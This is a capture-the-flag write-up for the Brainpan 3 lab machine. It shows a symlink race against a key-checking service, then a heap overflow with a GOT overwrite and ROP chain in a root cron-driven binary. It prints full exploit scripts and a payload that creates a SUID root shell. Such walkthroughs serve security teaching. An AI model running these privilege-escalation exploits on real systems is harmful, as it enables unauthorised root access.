published on in writeup
tags: brainpan

Brainpan: 3 - Part 2

Now that we’ve popped anansi and reynard, it’s time to go after puck and root!

There is something listening on the loopback at port 7075. When we connect, we get a message about a key.

$ netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:7075          0.0.0.0:*               LISTEN

$ nc localhost 7075
Incorrect key

The first step is to find the service which is bound to the port. I did it by finding where the binary on port 1337 was, and it happened to be in the same location. Lucky.

$ ps aux
anansi    1070  0.0  0.1   2044   556 ?        Ss   08:30   0:00 brainpan3

$ ls -l /proc/1070/exe
lrwxrwxrwx 1 anansi webdev 0 Sep 26 08:56 /proc/1070/exe -> /usr/local/sbin/brainpan3

$ ls -l /usr/local/sbin
total 32
-rwxr-xr-x 1 root root 16589 May 26 18:38 brainpan3
-rwxr-xr-x 1 root root  7609 May 20 10:18 trixd
-rwxr-xr-x 1 root root   343 May 21 11:38 www

Transfer trixd for analysis. If we just run it, we drop into a shell. Also, if we run strings we see some familiar bit and bobs - confirming we have the correct binary.

[email protected]:~# ./trixd 
open: No such file or directory
open: No such file or directory
Authentication successful
# id
uid=0(root) gid=0(root) groups=0(root)

[email protected]:~/bp3# strings trixd 
/mnt/usb/key.txt
Key file is compromised.
/home/puck/key.txt
open
Authentication successful
/bin/sh
Incorrect key

So the binary does a string compare between /home/puck/key.txt and /mnt/usb/key.txt, if they match /bin/sh is executed. We can write to /mnt/usb/, so the obvious solution is to drop in a symlink…

$ ls -lR /mnt/
/mnt/:
total 4
drwxrwx--- 2 reynard dev 4096 Jun 17 22:11 usb

/mnt/usb:
total 4
-rw-r--r-- 1 reynard reynard 21 Jun 17 22:11 key.txt
$ rm /mnt/usb/key.txt
$ ln -s /home/puck/key.txt /mnt/usb/key/txt

$ ls -l /mnt/usb/
lrwxrwxrwx 1 reynard webdev 18 Sep 26 09:16 key.txt -> /home/puck/key.txt

$ nc localhost 7075
Key file is compromised.

Bawwww :( The binary is wise to us. Now… the bitch about this is that it’s been compiled with a ptrace trap, which means we can’t easily debug it. So I kinda went on blind faith here (and a hint from barrebas). The symlink check is called before the string compare. So if we are quick enough, we can place a file there to pass the symlink check, then swap it for a symlink. This is called a race condition.

A Race to Win

#!/usr/bin/env python

import os, time

while True:
        os.mknod('/mnt/usb/key.txt', 0666)
        time.sleep(0.1)
        os.remove('/mnt/usb/key.txt')
        os.symlink('/home/puck/key.txt', '/mnt/usb/key.txt')
        time.sleep(0.1)
        os.remove('/mnt/usb/key.txt')

Then in another shell…

$ while :; do nc localhost 7075; done 
Incorrect key
Incorrect key
Incorrect key
Authentication successful
$ id
uid=1001(puck) gid=1004(dev) groups=1001(puck)

Path to Root

Now that we can read inside puck's home directory, we can get the content of key.txt. I found it handy to grab this in case I lost shell access - you can write the content into /mnt/usb/key.txt so you don’t have to win the race condition over again.

$ cat /home/puck/key.txt
HBN48HY71ERG5GA6290V

If we check out the following cronjob and follow the trail…

$ ls -l /etc/cron.d/
-rw-r--r-- 1 root root 100 May 19 18:25 msg_admin

$ cat /etc/cron.d/msg_admin
* * * * * root cd /opt/.messenger; for i in *.msg; do /usr/local/bin/msg_admin 1 $i; rm -f $i; done

$ ls -laR /opt
drwxrwx---  3 root dev  4096 Jun 10 22:32 .messenger

/opt/.messenger:
drwx------ 2 root root 4096 Jun 10 22:32 NOTIFY

$ ls -l /usr/local/bin/msg_admin
-rwxr-xr-x 1 root root 12316 May 31 04:46 /usr/local/bin/msg_admin

A Heap of Trouble

[email protected]:~/bp3# ./msg_admin 
Usage: ./msg_admin priority message.txt
Message file format: requestername|message
Eg: tony|Add a new user to repo
Can have multiple messages in a single file separated by newlines.
Eg: tony|Please remove /tmp/foo
    cate|Reset password request.
[email protected]:~/bp3# file msg_admin 
msg_admin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb794eca10a43b1fd6f55c5959d818be9c5f70d0, not stripped

gdb-peda$ checksec 
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

After disassembling the binary, we work out that messages are stored on the heap. I think 10 bytes are assigned for the requestorname and 200 for the message. If we submit two messages and inspect the heap, we can see where the data is stored.

#!/usr/bin/env python

buf = "A" * 10
buf += "|"
buf += "B" * 200
buf += "\n"

buf += "C" * 10
buf += "|"
buf += "D" * 200

f = open("message.txt", w)
f.write(buf)
f.close()
gdb-peda$ r 1 message.txt

I’ve highlighted the various pointers - you can see how they point to the start of the requestorname and message inputs. We can add more byes to message 1, and have it overflow the pointer for message 2 requestorname.

#!/usr/bin/env python

buf = "A" * 10
buf += "|"
buf += "B" * 212
buf += "XXXX"
buf += "\n"

buf += "C" * 10
buf += "|"
buf += "D" * 200

f = open("message.txt", w)
f.write(buf)
f.close()
EAX: 0x43434343 ('CCCC')
EBX: 0x804c170 ("CCCCCCCCCC")
ECX: 0x804c170 ("CCCCCCCCCC")
EDX: 0x58585858 ('XXXX')

gdb-peda$ x/120wx 0x804c388
0x804c388:	0x00000001	0x0804c398	0x0804c3a8	0x00000011
0x804c398:	0x41414141	0x41414141	0x00004141	0x000000d1
0x804c3a8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3b8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3c8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3d8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3e8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3f8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c408:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c418:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c428:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c438:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c448:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c458:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c468:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c478:	0x42424242	0x58585858	0x0804c400

I’ll overwrite this pointer with strtok from the GOT.

[email protected]:~/bp3# objdump -R msg_admin

msg_admin:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804affc R_386_GLOB_DAT    __gmon_start__
0804b00c R_386_JUMP_SLOT   getline
0804b010 R_386_JUMP_SLOT   printf
0804b014 R_386_JUMP_SLOT   fclose
0804b018 R_386_JUMP_SLOT   time
0804b01c R_386_JUMP_SLOT   uname
0804b020 R_386_JUMP_SLOT   __stack_chk_fail
0804b024 R_386_JUMP_SLOT   rewind
0804b028 R_386_JUMP_SLOT   strcat
0804b02c R_386_JUMP_SLOT   strcpy
0804b030 R_386_JUMP_SLOT   malloc
0804b034 R_386_JUMP_SLOT   puts
0804b038 R_386_JUMP_SLOT   __gmon_start__
0804b03c R_386_JUMP_SLOT   strftime
0804b040 R_386_JUMP_SLOT   localtime
0804b044 R_386_JUMP_SLOT   strlen
0804b048 R_386_JUMP_SLOT   __libc_start_main
0804b04c R_386_JUMP_SLOT   atol
0804b050 R_386_JUMP_SLOT   fopen
0804b054 R_386_JUMP_SLOT   memset
0804b058 R_386_JUMP_SLOT   strncpy
0804b05c R_386_JUMP_SLOT   strtok
0804b060 R_386_JUMP_SLOT   fputs
0804b064 R_386_JUMP_SLOT   strncat
#!/usr/bin/env python

from pwn import *

_strtok = 0x0804b05c

buf = "A" * 10
buf += "|"
buf += "B" * 212
buf += p32(_strtok)
buf += "\n"


buf += "CCCC"
buf += "|"
buf += "D" * 200

f = open("message.txt", "w")
f.write(buf)
f.close()
Stopped reason: SIGSEGV
0x43434343 in ?? ()

Now that we have control over EIP, the real work begins. We have NX and ASLR to bypass, so we’ll be ROP’ing our way down victory lane. First, let’s find a pop ret gadget, to keep our stack aligned and maintain execution flow. We’ve crashed on our C's, so this gadget will go here.

[email protected]:~# /opt/ropeme/ropeme/ropshell.py 
ROPeMe> generate /root/bp3/msg_admin 30
ROPeMe> search pop %
0x8048ddcL: pop ebx ; pop esi ; pop edi ; pop ebp ;;
_strtok = 0x0804b05c
_ppppr = 0x8048ddc

buf = "A" * 10
buf += "|"
buf += "B" * 212
buf += p32(_strtok)
buf += "\n"

buf += p32(_ppppr)
buf += "|"
buf += "D" * 200
Stopped reason: SIGSEGV
0x42424242 in ?? ()

After the ppppr, we return into our stack of B's, so the rest of our payload will go into the body of message 1. We should now return here each time.

There isn’t a call to system anywhere in the binary, so we have to construct our own ROP chain to get its address EAX, then call eax. Let’s find some gadgets that may be useful in this quest.

ROPeMe> search mov eax %
ROPeMe> search add eax %
ROPeMe> search sub eax %
ROPeMe> search pop ebx %
ROPeMe> search call eax %

I figure we should get an address of another GOT into EAX, calculate its offset to system and modify EAX accordingly. I don’t think the sub eax gadget is useable, so I need a GOT entry which is smaller than system, then add to it.

I found a way to do this quite nicely using pwntools.

#!/usr/bin/env python

from pwn import *

elf = ELF('/root/bp3/msg_admin')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

print "[+] System is at " + hex(libc.symbols['system'])

for symbol in elf.symbols:
        try: print "\t[>] " + symbol + " is at " + hex(libc.symbols[symbol])
        except: pass

print "\n"

for symbol in elf.symbols:
        try:
                if libc.symbols[symbol] < libc.symbols['system']:
                        print "[+] " + symbol + " is lower: " + hex(libc.symbols[symbol])
        except: pass
[email protected]:~/bp3# ./libc.py 
[+] System is at 0x3de10
    [>] fclose is at 0x10ea80
    [>] uname is at 0xa0590
    [>] __libc_start_main is at 0x19630
    [>] printf is at 0x4c970
    [>] fopen is at 0x10e840
    [>] strncpy is at 0x7a040
    [>] puts is at 0x64ab0
    [>] strtok is at 0x7b170
    [>] fputs is at 0x63560
    [>] getline is at 0x60b60
    [>] localtime is at 0x91690
    [>] atol is at 0x2f2c0
    [>] __stack_chk_fail is at 0xe5790
    [>] malloc is at 0x758c0
    [>] memset is at 0x7b6c0
    [>] strcat is at 0x79350
    [>] got.malloc is at 0x16d014
    [>] strlen is at 0x79d10
    [>] strncat is at 0x79e80
    [>] rewind is at 0x6af60
    [>] strcpy is at 0x79740
    [>] time is at 0x91f00
    [>] strftime is at 0x97c00


[+] __libc_start_main is lower: 0x19630
[+] atol is lower: 0x2f2c0

Only atol is lower than system, kinda made me think I was on the right track. The difference between 0x3de10 and 0x2f2c0 is 0xeb50. First, we want to clear EAX to 0, so it’s in a nice state to work with.

There’s a pretty handy gadget that’ll do that for us: 0x8048790L: mov eax 0x804b074 ; sub eax 0x804b074

_strtok = 0x0804b05c
_ppppr = 0x8048ddc
_0eax = 0x8048790               # mov eax 0x804b074 ; sub eax 0x804b074 

buf = "A" * 10
buf += "|"
buf += p32(_0eax)
buf += "B" * (212 - 4)
buf += p32(_strtok)
buf += "\n"

buf += p32(_ppppr)

I let it SEGFAULT again, but we can now see… EAX: 0x0. Good. Now let’s throw in our pop ebx gadget and address for atol.

_strtok = 0x0804b05c
_ppppr = 0x8048ddc
_atol = 0x804b04c
_0eax = 0x8048790               # mov eax 0x804b074 ; sub eax 0x804b074
_popebx = 0x804859d

buf = "A" * 10
buf += "|"
buf += p32(_0eax)
buf += p32(_popebx)
buf += p32(_atol)
buf += "B" * (212 - 12)
buf += p32(_strtok)
buf += "\n"

buf += p32(_ppppr)

This time, when we crash:

EAX: 0x0 
EBX: 0x804b04c --> 0xb7e3f820 (<atol>:	sub    esp,0x1c)

Now the add eax, but there’s a slight twist here. The gadget I’m using is: add eax [ebx+0x1270304] - it will take whatever is in EBX, add 0x1270304 to it, then put it in EAX. It means that I have to subtract this value away from atol to compensate.

_strtok = 0x0804b05c
_ppppr = 0x8048ddc
_atol = 0x804b04c
_0eax = 0x8048790               # mov eax 0x804b074 ; sub eax 0x804b074
_popebx = 0x804859d 
_addeax = 0x8048feb             # add eax [ebx+0x1270304]
_offset = 0x1270304

buf = "A" * 10
buf += "|"
buf += p32(_0eax)
buf += p32(_popebx)
buf += p32(_atol - _offset)
buf += p32(_addeax)
buf += "B" * (212 - 16)
buf += p32(_strtok)
buf += "\n"

buf += p32(_ppppr)

Crash, and: EAX: 0xb7e3f820 (<atol>: sub esp,0x1c). So far, so good! I’ve already established the amount I need to add, so I need to find values within the binary that I can use that will add up to 0xeb50. The closest I could find was: 0x8049f67 --> 0xeb00 and 0x8048130 --> 0x10. Let’s add all of those in and see what happens.

_strtok = 0x0804b05c
_ppppr = 0x8048ddc
_atol = 0x804b04c
_0eax = 0x8048790               # mov eax 0x804b074 ; sub eax 0x804b074
_popebx = 0x804859d
_addeax = 0x8048feb             # add eax [ebx+0x1270304]
_offset = 0x1270304

_eb00 = 0x8049f67
_10 = 0x8048130

buf = "A" * 10
buf += "|"
buf += p32(_0eax)
buf += p32(_popebx)
buf += p32(_atol - _offset)
buf += p32(_addeax)

buf += p32(_popebx)
buf += p32(_eb00 - _offset)
buf += p32(_addeax)

buf += p32(_popebx)
buf += p32(_10 - _offset)
buf += p32(_addeax)

buf += p32(_popebx)
buf += p32(_10 - _offset)
buf += p32(_addeax)

buf += p32(_popebx)
buf += p32(_10 - _offset)
buf += p32(_addeax)

buf += p32(_popebx)
buf += p32(_10 - _offset)
buf += p32(_addeax)

buf += "B" * (212 - 76)
buf += p32(_strtok)
buf += "\n"

buf += p32(_ppppr)

Crash: EAX: 0xb7e4e360 (<__libc_system>: push ebx). We’re on the home straight now.

We need an argument to put into system - luckily there’s a static reference to /tmp/foo in the binary - if you recall its help message. 0x8048eef ("/tmp/foo").

_calleax = 0x8048786            # call eax ; leave
_foo = 0x8048eef

buf += p32(_calleax)
buf += p32(_foo)
gdb-peda$ r 1 message.txt 
Starting program: /root/bp3/msg_admin 1 message.txt
[+] Recording 2 entries
# id
uid=0(root) gid=0(root) groups=0(root)

So it works on my local box - I just copied /bin/sh as a simple test. Time to copy message.txt across to bp3 (again with xxd). For the cronjob to pick it up, it must be within /opt/.messenger/ and have the .msg extension. You know the job has run, because after the message has been processed, it gets deleted.

Failed?

My /tmp/foo payload on bp3 was to create a SUID shell.

cp /bin/sh /tmp/pwn
chmod 4777 /tmp/pwn

But unfortunately it wasn’t working :( I tried copying it in a few times - it would get deleted, but there was no SUID shell in /tmp.

I had a look at libc on bp3 and found that the offsets between atol and system was different than on my box. *sigh*.

$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep atol
  1778: 00031890    35 FUNC    GLOBAL DEFAULT   12 atol@@GLIBC_2.0

$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  620: 00040190    56 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE

The difference here is 0xE8D0! This meant I had to go back and find new values for my increments, which turned out to be a good thing because I found a way to do it in just two adds.

This is my final exploit:

#!/usr/bin/env python

from pwn import *

_strtok = 0x0804b05c
_ppppr = 0x8048ddc
_atol = 0x804b04c
_0eax = 0x8048790               # mov eax 0x804b074 ; sub eax 0x804b074
_popebx = 0x804859d
_addeax = 0x8048feb             # add eax [ebx+0x1270304]
_offset = 0x1270304
_calleax = 0x8048786            # call eax ; leave

_e800 = 0x80480c7
_100 = 0x8048013

_foo = 0x8048eef

buf = "A" * 10
buf += "|"
buf += p32(_0eax)
buf += p32(_popebx)
buf += p32(_atol - _offset)
buf += p32(_addeax)

buf += p32(_popebx)
buf += p32(_e800 - _offset)
buf += p32(_addeax)

buf += p32(_popebx)
buf += p32(_100 - _offset)
buf += p32(_addeax)

buf += p32(_calleax)
buf += p32(_foo)

buf += "B" * (212 - 48)
buf += p32(_strtok)
buf += "\n"

buf += p32(_ppppr)
buf += "|"
buf += "D" * 200

f = open("message.txt", "w")
f.write(buf)
f.close()
$ ls -l /tmp
-rwxr-xr-x 1 puck dev      40 Oct  9 15:15 foo
-rwsrwxrwx 1 root root 112204 Oct  9 22:31 pwn
$ /tmp/pwn
$ id
uid=1001(puck) gid=1004(dev) euid=0(root) groups=0(root)

$ ls -l /root
-rw------- 1 root root 314 Jun 23 12:45 brainpan.8.gz

Unzip the file, then check it out.

[email protected]:~/bp3# man ./brainpan.8 

DESCRIPTION
       Congratulations, you win! Thanks for playing!

FLAG
       flag{tricksy-hobbitses-use-unix}

BUGS
       You found them all.

AUTHOR
       superkojiman - http://blog.techorganic.com

TESTERS
       Special thanks go to barrebas and Swappage taking the time to test Brainpan 3!
       barrebas - https://twitter.com/barrebas
       Swappage - https://twitter.com/Swappage

I am now going on an extended leave of absense to recover.